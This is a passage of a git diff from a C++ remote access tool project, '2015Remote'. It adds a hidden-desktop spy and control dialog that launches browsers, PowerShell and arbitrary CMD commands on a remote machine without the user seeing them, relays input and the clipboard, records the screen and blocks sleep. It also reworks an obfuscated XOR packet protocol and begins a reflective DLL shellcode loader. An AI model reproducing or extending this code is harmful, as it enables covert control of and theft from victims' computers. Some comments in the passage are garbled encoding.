pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND); + } + break; + case IDM_QUALITY85: { // 清晰度85 + BYTE bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE; + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND); + } + break; + case IDM_QUALITY100: { // 清晰度100 + BYTE bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE; + m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(bToken)); + pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND); + } + break; + case IDM_FPS_1: + pSysMenu->CheckMenuRadioItem(IDM_FPS_1, IDM_FPS_30, nID, MF_BYCOMMAND); + break; + case IDM_FPS_5: + case IDM_FPS_10: + case IDM_FPS_15: + case IDM_FPS_20: + case IDM_FPS_25: + case IDM_FPS_30: + pSysMenu->CheckMenuRadioItem(IDM_FPS_1, IDM_FPS_30, nID, MF_BYCOMMAND); + break; + case IDM_OPEN_Explorer: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_Explorer; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_run: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_run; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_Powershell: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_Powershell; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_Chrome: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_Chrome; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_Edge: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_Edge; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_Brave: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_Brave; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_Firefox: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_Firefox; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_Iexplore: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_Iexplore; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_ADD_1: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_ADD_1; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_ADD_2: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_ADD_2; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_ADD_3: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_ADD_3; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_ADD_4: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_ADD_4; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_zdy: { + EnableWindow(FALSE); + + CInputDialog dlg(this); + dlg.Init(_T("自定义"), _T("请输入CMD命令:")); + + if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) { + int nPacketLength = dlg.m_str.GetLength()*sizeof(TCHAR) + 3; + LPBYTE lpPacket = new BYTE[nPacketLength]; + lpPacket[0] = COMMAND_HIDE_USER; + lpPacket[1] = IDM_OPEN_zdy; + memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + delete[] lpPacket; + + } + EnableWindow(TRUE); + } + break; + case IDM_OPEN_zdy2: { + EnableWindow(FALSE); + CTextDlg dlg(this); + if (dlg.DoModal() == IDOK) { + ZdyCmd m_ZdyCmd = {}; + _stprintf_s(m_ZdyCmd.oldpath, MAX_PATH,_T("%s"), dlg.oldstr.GetBuffer()); + _stprintf_s(m_ZdyCmd.newpath, MAX_PATH, _T("%s"), dlg.nowstr.GetBuffer()); + CString m_str = _T("\""); + m_str += _T("\""); + m_str += _T(" "); + m_str += _T("\""); + m_str += dlg.cmeline; + m_str += _T("\""); + _stprintf_s(m_ZdyCmd.cmdline, MAX_PATH, _T("%s"), m_str.GetBuffer()); + int nPacketLength = sizeof(ZdyCmd) + 2; + LPBYTE lpPacket = new BYTE[nPacketLength]; + lpPacket[0] = COMMAND_HIDE_USER; + lpPacket[1] = IDM_OPEN_zdy2; + memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2); + m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength); + delete[] lpPacket; + } + EnableWindow(TRUE); + } + break; + case IDM_OPEN_360JS: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_360JS; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + break; + } + case IDM_OPEN_360AQ: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_360AQ; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + } + break; + case IDM_OPEN_360AQ2: { + BYTE bToken[2]; + bToken[0] = COMMAND_HIDE_USER; + bToken[1] = IDM_OPEN_360AQ2; + m_iocpServer->Send2Client(m_ContextObject, bToken, 2); + break; + } + case IDM_OPEN_close: { + LPBYTE lpPacket = new BYTE; + lpPacket[0] = COMMAND_HIDE_CLEAR; + m_iocpServer->Send2Client(m_ContextObject, lpPacket, 1); + delete lpPacket; + } + break; + default: + CDialog::OnSysCommand(nID, lParam); + } +} + +void CHideScreenSpyDlg::DrawTipString(CString str) +{ + RECT rect; + GetClientRect(&rect); + COLORREF bgcol = RGB(0x00, 0x00, 0x00); + COLORREF oldbgcol = SetBkColor(m_hFullDC, bgcol); + COLORREF oldtxtcol = SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); + ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL); + + DrawText(m_hFullDC, str, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); + + SetBkColor(m_hFullDC, oldbgcol); + SetTextColor(m_hFullDC, oldtxtcol); +} + + +BOOL CHideScreenSpyDlg::PreTranslateMessage(MSG* pMsg) +{ + if (m_bIsClosed) + return CDialog::PreTranslateMessage(pMsg); + switch (pMsg->message) { + case WM_ERASEBKGND: + return TRUE; + case WM_LBUTTONDOWN: case WM_LBUTTONUP: // 左键按下 + case WM_RBUTTONDOWN: case WM_RBUTTONUP: // 右键按下 + case WM_MBUTTONDOWN: case WM_MBUTTONUP: // 中键按下 + case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK: // 双击 + case WM_MOUSEMOVE: case WM_MOUSEWHEEL: // 鼠标移动 + { + // 此逻辑会丢弃所有 非左键拖拽 的鼠标移动消息(如纯移动或右键拖拽) + if (pMsg->message == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0) + break; + SendScaledMouseMessage(pMsg, true); + return TRUE; + } + case WM_CHAR: { + // 检查给定字符是否为控制字符 + if (iswcntrl(static_cast(pMsg->wParam))) { + break; + } + SendScaledMouseMessage(pMsg); + return TRUE; + } + case WM_KEYDOWN: case WM_KEYUP: { + SendScaledMouseMessage(pMsg); + return TRUE; + } + } + // 屏蔽Enter和ESC关闭对话 + if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_RETURN)) + return TRUE; + + return CDialog::PreTranslateMessage(pMsg); +} + +void CHideScreenSpyDlg::SendScaledMouseMessage(MSG* pMsg, bool makeLP) { + if (!m_bIsCtrl) + return; + + MYMSG msg(*pMsg); + auto low = ((LONG)LOWORD(pMsg->lParam)) * m_wZoom; + auto high = ((LONG)HIWORD(pMsg->lParam)) * m_hZoom; + if(makeLP) msg.lParam = MAKELPARAM(low, high); + msg.pt.x = (int)(low + m_rect.left); + msg.pt.y = (int)(high + m_rect.top); + SendCommand(msg); +} + +void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg) +{ + if (!m_bIsCtrl) { + return; + } + + LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1]; + lpData[0] = COMMAND_SCREEN_CONTROL; + memcpy(lpData + 1, &pMsg, sizeof(MYMSG)); + m_iocpServer->Send2Client(m_ContextObject, lpData, sizeof(MYMSG) + 1); + + SAFE_DELETE_ARRAY(lpData); +} + +void CHideScreenSpyDlg::UpdateServerClipboard(char* buf, int len) +{ + if (!::OpenClipboard(NULL)) + return; + + ::EmptyClipboard(); + HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, len); + if (hglbCopy != NULL) { + // Lock the handle and copy the text to the buffer. + LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy); + memcpy(lptstrCopy, buf, len); + GlobalUnlock(hglbCopy); // Place the handle on the clipboard. + SetClipboardData(CF_TEXT, hglbCopy); + GlobalFree(hglbCopy); + } + CloseClipboard(); +} + +void CHideScreenSpyDlg::SendServerClipboard() +{ + if (!::OpenClipboard(NULL)) + return; + HGLOBAL hglb = GetClipboardData(CF_TEXT); + if (hglb == NULL) { + ::CloseClipboard(); + return; + } + int nPacketLen = GlobalSize(hglb) + 1; + LPSTR lpstr = (LPSTR)GlobalLock(hglb); + LPBYTE lpData = new BYTE[nPacketLen]; + lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD; + memcpy(lpData + 1, lpstr, nPacketLen - 1); + ::GlobalUnlock(hglb); + ::CloseClipboard(); + m_iocpServer->Send2Client(m_ContextObject, lpData, nPacketLen); + delete[] lpData; +} + +void CHideScreenSpyDlg::DoPaint() +{ + if (m_bIsFirst) { + DrawTipString(m_strTip); + return; + } + if (m_bIsClosed) return; + StretchBlt(m_hFullDC, 0, 0, m_CRect.Width(), m_CRect.Height(), m_hFullMemDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, SRCCOPY); + // Do not call CDialog::OnPaint() for painting messages +} + +void CHideScreenSpyDlg::OnPaint() +{ + CPaintDC dc(this); + + if (m_bIsFirst) { + DrawTipString(m_strTip); + return; + } + if (m_bIsClosed) return; + StretchBlt(m_hFullDC, 0, 0, m_CRect.Width(), m_CRect.Height(), m_hFullMemDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, SRCCOPY); + CDialog::OnPaint(); +} + +LRESULT CHideScreenSpyDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + // TODO: Add your specialized code here and/or call the base class + if (message == WM_POWERBROADCAST && wParam == PBT_APMQUERYSUSPEND) { + return BROADCAST_QUERY_DENY; // 拦截系统待机, 休眠的请求 + } + if (message == WM_ACTIVATE && LOWORD(wParam) != WA_INACTIVE && !HIWORD(wParam)) { + SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE); + return TRUE; + } + if (message == WM_ACTIVATE && LOWORD(wParam) == WA_INACTIVE) { + SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE); + return TRUE; + } + + return CDialog::WindowProc(message, wParam, lParam); +} + +void CHideScreenSpyDlg::OnTimer(UINT_PTR nIDEvent) +{ + if (!m_aviFile.IsEmpty()) { + LPCTSTR lpTipsString = _T("●"); + + m_aviStream.Write(m_BitmapData_Full); + + // 提示正在录像 + SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); + TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString)); + } + CDialog::OnTimer(nIDEvent); +} + +bool CHideScreenSpyDlg::JPG_BMP(int cbit, void* input, int inlen, void* output) +{ + struct jpeg_decompress_struct jds; + struct jpeg_error_mgr jem; + + // 设置错误处理 + jds.err = jpeg_std_error(&jem); + // 创建解压结构 + jpeg_create_decompress(&jds); + // 设置读取(输入)位置 + jpeg_mem_src(&jds, (byte*)input, inlen); + // 读取头部信息 + if (jpeg_read_header(&jds, true) != JPEG_HEADER_OK) { + jpeg_destroy_decompress(&jds); + return false; + } + // 设置相关参数 + switch (cbit) { + case 16: + jds.out_color_space = JCS_EXT_RGB; + break; + case 24: + jds.out_color_space = JCS_EXT_BGR; + break; + case 32: + jds.out_color_space = JCS_EXT_BGRA; + break; + default: + jpeg_destroy_decompress(&jds); + return false; + } + // 开始解压图像 + if (!jpeg_start_decompress(&jds)) { + jpeg_destroy_decompress(&jds); + return false; + } + int line_stride = (jds.output_width * cbit / 8 + 3) / 4 * 4; + while (jds.output_scanline < jds.output_height) { + byte* pline = (byte*)output + jds.output_scanline * line_stride; + jpeg_read_scanlines(&jds, &pline, 1); + } + // 完成图像解压 + if (!jpeg_finish_decompress(&jds)) { + jpeg_destroy_decompress(&jds); + return false; + } + // 释放相关资源 + jpeg_destroy_decompress(&jds); + + return true; +} diff --git a/server/2015Remote/HideScreenSpyDlg.h b/server/2015Remote/HideScreenSpyDlg.h new file mode 100644 index 0000000..55101cd --- /dev/null +++ b/server/2015Remote/HideScreenSpyDlg.h @@ -0,0 +1,93 @@ +#pragma once +#include "stdafx.h" +#include "../client/CursorInfo.h" +#include "../common/jpeglib.h" +#include "IOCPServer.h" +#include "VideoDlg.h" +#include "Resource.h" + +///////////////////////////////////////////////////////////////////////////// +// CHideScreenSpyDlg dialog + +#ifdef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "jpeg\\turbojpeg_64_d.lib") +#else +#pragma comment(lib, "jpeg\\turbojpeg_64_r.lib") +#endif +#else +#ifdef _DEBUG +#pragma comment(lib, "jpeg\\turbojpeg_32_d.lib") +#else +#pragma comment(lib, "jpeg\\turbojpeg_32_r.lib") +#endif +#endif + + +class CHideScreenSpyDlg : public DialogBase { + DECLARE_DYNAMIC(CHideScreenSpyDlg) + enum { IDD = IDD_SCREEN }; + +public: + CHideScreenSpyDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); + virtual ~CHideScreenSpyDlg(); + + VOID SendNext(void) { + BYTE bToken = COMMAND_NEXT; + m_iocpServer->Send2Client(m_ContextObject, &bToken, 1); + } + void OnReceiveComplete(); + BOOL ParseFrame(void); + void DrawFirstScreen(PBYTE pDeCompressionData, unsigned long destLen); + void DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen); + void DrawNextScreenHome(PBYTE pDeCompressionData, unsigned long destLen); + void DrawTipString(CString str); + + void SendCommand(const MYMSG& pMsg); + void SendScaledMouseMessage(MSG* pMsg, bool makeLP = false); + void UpdateServerClipboard(char* buf, int len); + void SendServerClipboard(void); + bool SaveSnapshot(void); + + virtual void DoDataExchange(CDataExchange* pDX); + virtual BOOL PreTranslateMessage(MSG* pMsg); + virtual BOOL OnInitDialog(); + + afx_msg void OnClose(); + afx_msg void OnPaint(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnSize(UINT nType, int cx, int cy); + + virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam); + + afx_msg void OnTimer(UINT_PTR nIDEvent); + + DECLARE_MESSAGE_MAP() + +protected: + void DoPaint(); + bool JPG_BMP(int cbit, void* input, int inlen, void* output); + void ResetScreen(); + + HDC m_hFullDC, m_hFullMemDC; + HBITMAP m_BitmapHandle; + LPVOID m_BitmapData_Full; + LPBITMAPINFO m_BitmapInfor_Full; + HCURSOR m_hRemoteCursor; + CCursorInfo m_CursorInfo; + BOOL m_bIsFirst; + BOOL m_bIsCtrl; + POINT m_ClientCursorPos; + BYTE m_bCursorIndex; + CString m_strTip; + +private: + CString m_aviFile; + CBmpToAvi m_aviStream; + CRect m_CRect; + RECT m_rect; + double m_wZoom; + double m_hZoom; + LPVOID m_lpvRectBits; + LPBITMAPINFO m_lpbmi_rect; +}; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 813af2c..4d77d6c 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -34,6 +34,13 @@ #endif #endif +// socket ȡͻIPַ. +std::string GetPeerName(SOCKET sock) { + sockaddr_in ClientAddr = {}; + int ulClientAddrLen = sizeof(sockaddr_in); + int s = getpeername(sock, (SOCKADDR*)&ClientAddr, &ulClientAddrLen); + return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; +} // socket ȡͻIPַ. std::string GetRemoteIP(SOCKET sock) { @@ -585,6 +592,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe return; } else if (ContextObject->CompressMethod == COMPRESS_NONE) { + Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength); break; } @@ -717,7 +725,7 @@ void IOCPServer::OnAccept() } //Ϊÿһźάһ֮ݽṹΪû± - PCONTEXT_OBJECT ContextObject = AllocateContext(); // Context + PCONTEXT_OBJECT ContextObject = AllocateContext(sClientSocket); // Context if (ContextObject == NULL) { @@ -806,7 +814,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject) } } -PCONTEXT_OBJECT IOCPServer::AllocateContext() +PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s) { PCONTEXT_OBJECT ContextObject = NULL; @@ -820,7 +828,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext() if (ContextObject != NULL) { - ContextObject->InitMember(); + ContextObject->InitMember(s); } return ContextObject; diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 92406db..f613f58 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -1,5 +1,6 @@ #pragma once +#include "StdAfx.h" #include #pragma comment(lib,"ws2_32.lib") #include "CpuUseage.h" @@ -12,15 +13,15 @@ #endif #include +#include "common/header.h" +#include "common/encrypt.h" #define PACKET_LENGTH 0x2000 -#define FLAG_LENGTH 5 -#define HDR_LENGTH 13 - #define NC_CLIENT_CONNECT 0x0001 #define NC_RECEIVE 0x0004 #define NC_RECEIVE_COMPLETE 0x0005 // +std::string GetPeerName(SOCKET sock); std::string GetRemoteIP(SOCKET sock); @@ -42,43 +43,6 @@ enum ONLINELIST_MAX, }; -// Encoder interface. The default encoder will do nothing. -class Encoder { -public: - virtual ~Encoder(){} - // Encode data before compress. - virtual void Encode(unsigned char* data, int len) const{} - // Decode data after uncompress. - virtual void Decode(unsigned char* data, int len) const{} -}; - -// XOR Encoder implementation. -class XOREncoder : public Encoder { -private: - std::vector Keys; - -public: - XOREncoder(const std::vector& keys = {0}) : Keys(keys){} - - virtual void Encode(unsigned char* data, int len) const { - XOR(data, len, Keys); - } - - virtual void Decode(unsigned char* data, int len) const { - static std::vector reversed(Keys.rbegin(), Keys.rend()); - XOR(data, len, reversed); - } - -protected: - void XOR(unsigned char* data, int len, const std::vector &keys) const { - for (char key : keys) { - for (int i = 0; i < len; ++i) { - data[i] ^= key; - } - } - } -}; - enum { PARSER_FAILED = -1, // ʧ PARSER_NEEDMORE = 0, // Ҫ @@ -114,57 +78,75 @@ protected: Reset(); } PR Parse(CBuffer& buf, int &compressMethod) { - const int MinimumCount = 8; + const int MinimumCount = MIN_COMLEN; if (buf.GetBufferLength() < MinimumCount) { return PR{ PARSER_NEEDMORE }; } char szPacketFlag[32] = { 0 }; buf.CopyBuffer(szPacketFlag, MinimumCount, 0); + HeaderEncType encTyp = HeaderEncUnknown; + FlagType flagType = CheckHead(szPacketFlag, encTyp); + if (flagType == FLAG_UNKNOWN) { + return PR{ PARSER_FAILED }; + } if (m_bParsed) { // Check if the header has been parsed. return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED }; } // More version may be added in the future. - const char version0[] = "Shine", version1[] = "<>", version2[] = "Hello?", version3[] = "HELL"; - if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) { - memcpy(m_szPacketFlag, version0, sizeof(version0) - 1); - m_nCompareLen = strlen(m_szPacketFlag); + switch (m_nFlagType = flagType) + { + case FLAG_UNKNOWN: + return PR{ PARSER_FAILED }; + case FLAG_SHINE: + memcpy(m_szPacketFlag, szPacketFlag, 5); + m_nCompareLen = 5; m_nFlagLen = m_nCompareLen; m_nHeaderLen = m_nFlagLen + 8; m_bParsed = TRUE; m_Encoder = new Encoder(); - } - else if (memcmp(version1, szPacketFlag, sizeof(version1) - 1) == 0) { - memcpy(m_szPacketFlag, version1, sizeof(version1) - 1); - m_nCompareLen = strlen(m_szPacketFlag); + m_Encoder2 = new Encoder(); + break; + case FLAG_FUCK: + memcpy(m_szPacketFlag, szPacketFlag, 8); + m_nCompareLen = 8; m_nFlagLen = m_nCompareLen + 3; m_nHeaderLen = m_nFlagLen + 8; m_bParsed = TRUE; m_Encoder = new XOREncoder(); - } - else if (memcmp(version2, szPacketFlag, sizeof(version2) - 1) == 0) { - memcpy(m_szPacketFlag, version2, sizeof(version2) - 1); - m_nCompareLen = strlen(m_szPacketFlag); + m_Encoder2 = new Encoder(); + break; + case FLAG_HELLO: + // This header is only for handling SOCKET_DLLLOADER command + memcpy(m_szPacketFlag, szPacketFlag, 8); + m_nCompareLen = 6; m_nFlagLen = 8; m_nHeaderLen = m_nFlagLen + 8; m_bParsed = TRUE; compressMethod = COMPRESS_NONE; m_Encoder = new Encoder(); - } - else if (memcmp(version3, szPacketFlag, sizeof(version3) - 1) == 0) { - memcpy(m_szPacketFlag, version3, sizeof(version3) - 1); - m_nCompareLen = strlen(m_szPacketFlag); - m_nFlagLen = 8; + m_Encoder2 = new XOREncoder16(); + break; + case FLAG_HELL: + // This version + memcpy(m_szPacketFlag, szPacketFlag, 8); + m_nCompareLen = FLAG_COMPLEN; + m_nFlagLen = FLAG_LENGTH; m_nHeaderLen = m_nFlagLen + 8; m_bParsed = TRUE; m_Encoder = new Encoder(); - } - else { - return PR{ PARSER_FAILED }; + m_Encoder2 = new XOREncoder16(); + break; + default: + break; } return PR{ m_nFlagLen }; } + BOOL IsEncodeHeader() const { + return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL; + } HeaderParser& Reset() { SAFE_DELETE(m_Encoder); + SAFE_DELETE(m_Encoder2); memset(this, 0, sizeof(HeaderParser)); return *this; } @@ -183,13 +165,18 @@ protected: Encoder* GetEncoder() const { return m_Encoder; } + Encoder* GetEncoder2() const { + return m_Encoder2; + } private: BOOL m_bParsed; // ݰǷԽ int m_nHeaderLen; // ݰͷ int m_nCompareLen; // ȶֽ int m_nFlagLen; // ʶ + FlagType m_nFlagType; // ʶ char m_szPacketFlag[32]; // ԱϢ Encoder* m_Encoder; // + Encoder* m_Encoder2; // 2 }; enum IOType @@ -219,13 +206,15 @@ typedef struct CONTEXT_OBJECT BOOL m_bProxyConnected; // Ƿ BOOL bLogin; // Ƿ login + std::string PeerName; // ԶIP - VOID InitMember() + VOID InitMember(SOCKET s) { memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH); v1 = 0; hDlg = NULL; - sClientSocket = INVALID_SOCKET; + sClientSocket = s; + PeerName = ::GetPeerName(sClientSocket); memset(&wsaInBuf, 0, sizeof(WSABUF)); memset(&wsaOutBuffer, 0, sizeof(WSABUF)); olps = NULL; @@ -243,16 +232,41 @@ typedef struct CONTEXT_OBJECT sClientInfo[i] = s[i]; } } + PBYTE GetBuffer(int offset) { + return InDeCompressedBuffer.GetBuffer(offset); + } + ULONG GetBufferLength() { + return InDeCompressedBuffer.GetBufferLength(); + } + std::string GetPeerName() const { + return PeerName; + } CString GetClientData(int index) const{ return sClientInfo[index]; } + void CancelIO() { + SAFE_CANCELIO(sClientSocket); + } + BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) { + return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos); + } + BYTE GetBYTE(int offset) { + return InDeCompressedBuffer.GetBYTE(offset); + } // Write compressed buffer. void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) { if (Parser.IsParsed()) { ULONG totalLen = dataLen + Parser.GetHeaderLen(); - OutCompressedBuffer.WriteBuffer((LPBYTE)Parser.GetFlag(), Parser.GetFlagLen()); + BYTE szPacketFlag[32] = {}; + const int flagLen = Parser.GetFlagLen(); + memcpy(szPacketFlag, Parser.GetFlag(), flagLen); + if (Parser.IsEncodeHeader()) + encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]); + OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen); OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG)); OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG)); + InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16); + Encode2(data, dataLen, szPacketFlag); OutCompressedBuffer.WriteBuffer(data, dataLen); } } @@ -260,13 +274,14 @@ typedef struct CONTEXT_OBJECT PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) { if (Parser.IsParsed()) { ULONG totalLen = 0; - char szPacketFlag[32] = {}; + BYTE szPacketFlag[32] = {}; InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen()); InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG)); InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG)); dataLen = totalLen - Parser.GetHeaderLen(); PBYTE CompressedBuffer = new BYTE[dataLen]; InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen); + Decode2(CompressedBuffer, dataLen, szPacketFlag); return CompressedBuffer; } return nullptr; @@ -283,6 +298,14 @@ typedef struct CONTEXT_OBJECT void Decode(PBYTE data, int len) const { Parser.GetEncoder()->Decode((unsigned char*)data, len); } + // Encode data after compress. + void Encode2(PBYTE data, int len, PBYTE param) const { + Parser.GetEncoder2()->Encode((unsigned char*)data, len, param); + } + // Decode data before uncompress. + void Decode2(PBYTE data, int len, PBYTE param) const { + Parser.GetEncoder2()->Decode((unsigned char*)data, len, param); + } std::string RemoteAddr() const { sockaddr_in ClientAddr = {}; int ulClientAddrLen = sizeof(sockaddr_in); @@ -346,7 +369,7 @@ public: //±Ķ ContextObjectList m_ContextConnectionList; ContextObjectList m_ContextFreePoolList; - PCONTEXT_OBJECT AllocateContext(); + PCONTEXT_OBJECT AllocateContext(SOCKET s); VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject); VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject); @@ -369,6 +392,9 @@ public: VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { OnClientPreSending(ContextObject, szBuffer, ulOriginalLength); } + VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { + OnClientPreSending(ContextObject, szBuffer, ulOriginalLength); + } BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength); void UpdateMaxConnection(int maxConn); IOCPServer(void); @@ -417,3 +443,39 @@ typedef CONTEXT_OBJECT ClientContext; #define m_Socket sClientSocket #define m_DeCompressionBuffer InDeCompressedBuffer + +// ж̬ĶԻĻ +class CDialogBase : public CDialog { +public: + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + CString m_IPAddress; + bool m_bIsClosed; + HICON m_hIcon; + CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) : + m_bIsClosed(false), + m_ContextObject(pContext), + m_iocpServer(pIOCPServer), + CDialog(nIDTemplate, pParent) { + + sockaddr_in sockAddr; + memset(&sockAddr, 0, sizeof(sockAddr)); + int nSockAddrLen = sizeof(sockaddr_in); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen); + + m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; + m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; + } + +public: + virtual void OnReceiveComplete(void) = 0; + void OnClose() { + CDialog::OnClose(); + m_bIsClosed = true; +#if CLOSE_DELETE_DLG + delete this; +#endif + } +}; + +typedef CDialogBase DialogBase; diff --git a/server/2015Remote/Loader.c b/server/2015Remote/Loader.c new file mode 100644 index 0000000..587137d --- /dev/null +++ b/server/2015Remote/Loader.c @@ -0,0 +1,267 @@ +// RDIShellcodeCLoader.cpp : Defines the entry point for the console application. +// https://github.com/Drewsif/sRDI/blob/master/Native/Loader.cpp + +#include + +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +#define 